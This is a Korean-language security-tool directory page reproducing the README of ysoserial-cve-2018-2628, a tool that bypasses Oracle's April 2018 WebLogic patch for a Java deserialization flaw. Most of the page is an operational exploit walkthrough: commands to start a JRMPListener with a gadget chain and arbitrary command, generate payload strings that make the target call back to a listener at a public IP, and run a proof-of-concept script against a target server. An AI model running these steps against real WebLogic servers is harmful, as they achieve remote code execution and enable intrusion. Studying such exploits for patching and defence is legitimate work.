Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ysoserial-cve-2018-2628 — Oracle WebLogic CVE-2018-2628 패치를 우회하기 위한 일부 코드 | Kitploit
도구/GitHubGitHub/tdy218/ysoserial-cve-2018-2628
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubtdy218/ysoserial-cve-2018-2628

ysoserial-cve-2018-2628

Oracle WebLogic CVE-2018-2628 패치를 우회하기 위한 일부 코드

저장소 보기
114488년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ysoserial-cve-2018-2628

0x1. 준비 작업

  • POC 스크립트 및 Payload Object 생성, JRMPListener 실행에 필요한 소프트웨어 환경 준비
    Python 2.7.x
    Oracle Java SE 1.7+
  • Patch Set Update 180417 패치가 설치된 WebLogic Server 10.3.6 환경 준비(AdminServer만 있어도 됨)
    이미 이 PSU 버전이 설치된 WebLogic 환경이 있다면 이 단계는 건너뛸 수 있습니다.
  • POC 도구 준비
    이 프로젝트에서 POC 스크립트(wls-cve-2018-2628-poc.py)를 다운로드합니다.
    이 프로젝트의 release 페이지에서 Payload Object 생성 및 JRMPListener 프로그램의 jar 파일(ysoserial-<version>-cve-2018-2628-all.jar)을 다운로드합니다.

0x2. JRMPListener 실행

명령 형식:

java -cp ysoserial-<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener <listen port> <gadget class> <command>

예:

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"

*Opening JRMP listener on 22801 출력이 표시되면 JRMPListener가 실행 중인 호스트의 IP 주소(예시는 공인 IP가 47.94.158.125인 Alibaba Cloud ECS 호스트에서 실행됨)와 지정된 포트를 기록합니다.

0x3. 이전 단계의 JRMPListener 호스트 IP 주소와 리슨 포트 정보를 기반으로 Payload 문자열 생성

현재 알려진 두 가지 방법이 있습니다(Payload Object String 생성 시 아래 두 가지 방법 중 하나를 선택하면 됩니다):

  • java.rmi.activation.Activator[CVE-2017-3248] 이용

Payload Object String 생성 명령 형식:

java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient2 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo  

예:

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo

예시(JRMPClient2로 생성한 Payload 객체 바이너리 출력 데이터):

  • weblogic.jms.common.StreamMessageImpl을 이용한 java.rmi.registry.Registry 캡슐화

Payload Object String 생성 명령 형식:

java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient3 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo

예:

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient3 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo

예시(JRMPClient3로 생성한 Payload 객체 바이너리 출력 데이터):

0x4. POC 스크립트 편집 및 실행

wls-cve-2018-2628-poc.py를 편집하고 이전 단계에서 생성한 hex 문자열로 스크립트 상단의 payload_str 변수 값을 교체합니다(이 스크립트에 포함된 두 payload_str 변수 값은 각각 위 두 가지 방법으로 생성된 hex string에 해당하므로 직접 사용할 수 있습니다).

명령 형식:

python wls-cve-2018-2628-poc.py <目标WebLogic Server实例监听IP> <目标WebLogic Server实例监听端口>

예:

python wls-cve-2018-2628-poc.py 192.168.64.83 7001

예시(Patch Set Update 180417이 설치된 상태):

0x5. 감사의 말

xxlegend@nsfocus(CVE-2018-2628의 취약점 발견 및 제출자 중 한 명으로, 취약점 이용 방법과 관련 코드 예시를 공개함)
badcode@knownsec(weblogic.jms.common.StreamMessageImpl을 이용한 java.rmi.registry.Registry 캡슐화 코드 예시 제공)
ysoserial project(많은 Java 역직렬화 익스플로잇 프로그램을 집약함)

도구 다운로드